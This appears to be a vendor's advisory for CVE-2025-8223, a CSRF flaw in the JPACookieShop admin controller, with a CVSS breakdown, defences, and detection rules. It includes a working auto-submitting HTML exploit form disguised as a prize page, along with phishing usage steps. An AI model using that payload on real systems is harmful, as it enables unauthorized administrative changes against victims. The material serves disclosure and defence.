CVE-2025-8223
Executive Summary
CVE-2025-8223 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the JPACookieShop (蛋糕商城JPA版) application by vendor jerryshensjf, up to commit 24a15c02b4f75042c9f7f615a3fed2ec1cefb999. The flaw resides in the AdminTypeCustController.java file, allowing an attacker to forge requests on behalf of an authenticated administrator without their consent. With a CVSS score of 4.3 (Medium), the vulnerability requires user interaction but can be exploited remotely. No official patch or versioning information is available, and a public exploit has been disclosed, increasing the risk of active exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability does not involve an NPM, PyPI, Go, or Ruby package. The affected component is a Java-based web application (JPACookieShop) hosted on GitHub. The lack of versioning and patch status indicates potential supply chain risks for organizations using this codebase without proper dependency management.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – Attacker does not need prior authentication.
- User Interaction: Required (UI:R) – Victim must click a link or visit a malicious page.
- Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
- Confidentiality Impact: None (C:N) – No data disclosure.
- Integrity Impact: Low (I:L) – Attacker can modify application state (e.g., change admin settings).
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the public exploit and lack of patch make it a viable target for phishing campaigns.
Deep Dive & Mechanics
The vulnerability is a classic CSRF in the AdminTypeCustController.java file, which handles administrative customer type management. The application fails to implement anti-CSRF tokens or origin validation in state-changing requests (e.g., POST, PUT, DELETE). An attacker can craft a malicious HTML page or link that, when visited by an authenticated admin, triggers an unintended action such as modifying customer type settings, creating new admin accounts, or altering privileges.
Attack Flow:
- Attacker identifies a state-changing endpoint in
AdminTypeCustController.java(e.g.,/admin/typeCust/update). - Attacker crafts a malicious HTML form or image tag that auto-submits a request to this endpoint.
- Attacker hosts the malicious page on a controlled domain or embeds it in a phishing email.
- Victim (authenticated admin) visits the page, triggering the forged request.
- The server processes the request as legitimate, altering application data.
Root Cause: Missing CSRF protection mechanisms (e.g., synchronizer tokens, SameSite cookies, or custom headers).
Vulnerable vs. Patched Code
Since no official patch exists, the vulnerable code is presumed to lack CSRF validation. A patched version would include:
Vulnerable Code (Conceptual):
@PostMapping("/admin/typeCust/update")
public String updateTypeCust(@RequestParam String id, @RequestParam String name) {
// Directly processes request without CSRF check
typeCustService.update(id, name);
return "redirect:/admin/typeCust";
}
Patched Code (Conceptual):
@PostMapping("/admin/typeCust/update")
public String updateTypeCust(@RequestParam String id, @RequestParam String name,
HttpServletRequest request) {
// Validate CSRF token
String csrfToken = request.getParameter("_csrf");
if (!csrfToken.equals(request.getSession().getAttribute("CSRF_TOKEN"))) {
throw new InvalidCsrfTokenException("Invalid CSRF token");
}
typeCustService.update(id, name);
return "redirect:/admin/typeCust";
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A running instance of JPACookieShop with an authenticated admin session.
- Knowledge of a state-changing endpoint (e.g.,
/admin/typeCust/update).
Exploit Payload (HTML):
<html>
<body>
<h1>Click to Win a Prize!</h1>
<form action="http://target.com/admin/typeCust/update" method="POST">
<input type="hidden" name="id" value="1" />
<input type="hidden" name="name" value="attacker_controlled" />
<input type="submit" value="Claim Prize" />
</form>
<script>
// Auto-submit the form
document.forms[0].submit();
</script>
</body>
</html>
Usage:
- Host the HTML file on an attacker-controlled server.
- Send a phishing email to the admin with a link to the hosted page.
- When the admin clicks the link, the form auto-submits, modifying the customer type.
Blue Team (Detection & Defense)
Detection:
- Monitor for unexpected POST requests to
/admin/typeCust/updatewithout a valid CSRF token. - Analyze HTTP Referer headers for mismatched origins.
- Deploy Web Application Firewall (WAF) rules to block requests missing anti-CSRF tokens.
Defense:
- Implement CSRF tokens using Spring Security’s built-in support.
- Set
SameSite=StrictorSameSite=Laxon session cookies. - Validate
OriginandRefererheaders on server-side.
Indicators of Compromise (IOCs)
- Network:
- HTTP POST requests to
/admin/typeCust/updatewith noRefereror mismatchedOrigin. - Repeated requests from a single IP to multiple admin endpoints without CSRF tokens.
- HTTP POST requests to
- Host:
- Unauthorized changes to customer type records in the database.
- New admin accounts created via CSRF (if other endpoints are also vulnerable).
- Logs:
- Application logs showing
AdminTypeCustControllerinvocations without CSRF token validation.
- Application logs showing
Detection Engineering
YARA Rule
rule CVE_2025_8223_CSRF_Exploit {
meta:
description = "Detects CSRF exploit attempts against JPACookieShop AdminTypeCustController"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-8223"
strings:
$csrf_payload = "/admin/typeCust/update" ascii wide nocase
$form_auto = "<form" ascii wide nocase
$submit_auto = "submit()" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: CVE-2025-8223 CSRF Exploit Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to JPACookieShop admin endpoint without CSRF token
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/admin/typeCust/update'
filter:
c-uri|contains: '_csrf'
condition: selection and not filter
falsepositives:
- Legitimate admin actions with CSRF token
level: medium
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2025-8223 CSRF Attempt Against JPACookieShop AdminTypeCustController";
flow:to_server,established;
http.method; content:"POST";
http.uri; content:"/admin/typeCust/update";
http.request_body; content:!"_csrf";
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Apply CSRF Protection: Integrate Spring Security’s CSRF protection by adding
http.csrf().enable()in the security configuration. - Validate Origin: Reject requests with missing or mismatched
Origin/Refererheaders. - Update Session Cookies: Set
SameSite=Stricton all cookies.
Long-Term Fixes:
- Fork the repository and implement proper CSRF tokens.
- Conduct a full security audit of all controllers.
- Establish versioning and patch management for the application.
Workarounds:
- Use a WAF to block requests to
/admin/typeCust/updatewithout a valid CSRF token. - Restrict admin access to trusted IPs or VPN.
Valters IT